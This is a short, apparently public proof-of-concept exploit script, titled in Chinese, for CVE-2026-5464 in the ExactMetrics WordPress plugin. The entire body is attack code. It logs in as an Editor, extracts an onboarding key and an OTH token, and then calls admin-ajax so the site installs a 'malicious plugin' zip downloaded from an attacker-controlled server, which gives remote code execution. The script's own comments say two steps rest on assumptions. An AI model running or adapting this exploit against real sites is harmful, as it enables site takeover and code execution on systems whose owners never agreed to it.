CVE-2026-5464 WordPress插件任意插件安装致RCE

#!/usr/bin/env python3 import requests import re # Target configuration target_url = "http://target-wordpress.com" login_url = f"{target_url}/wp-login.php" admin_url = f"{target_url}/wp-admin/admin.php?page=exactmetrics_reports" malicious_plugin_url = "http://attacker-server.com/malicious-plugin.zip" # Attacker credentials (Editor role with 'exactmetrics_view_dashboard' capability) username = "editor" password = "password" session = requests.Session() # Step 1: Authenticate print("[*] Logging in...") data = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_url} session.post(login_url, data=data) # Step 2: Get 'onboarding_key' from reports page print("[*] Fetching onboarding_key...") response = session.get(admin_url) # Assuming the key is embedded in JS or HTML var match = re.search(r'"onboarding_key":"([a-zA-Z0-9]+)"', response.text) if not match: print("[-] Could not find onboarding_key") exit(1) onboarding_key = match.group(1) print(f"[+] Found onboarding_key: {onboarding_key}") # Step 3: Get OTH token via REST API print("[*] Requesting OTH token...") api_url = f"{target_url}/wp-json/exactmetrics/v1/onboarding/connect-url" params = {'key': onboarding_key} response = session.get(api_url, params=params) oth_token = response.json().get('oth') # Assuming JSON response print(f"[+] Got OTH token: {oth_token}") # Step 4: Install malicious plugin via AJAX print("[*] Triggering plugin installation...") ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'exactmetrics_connect_process', 'oth': oth_token, 'file': malicious_plugin_url, 'type': 'plugin' } response = session.post(ajax_url, data=payload) print(f"[+] Response: {response.text}") print("[*] Exploit completed. Check if the malicious plugin is active.")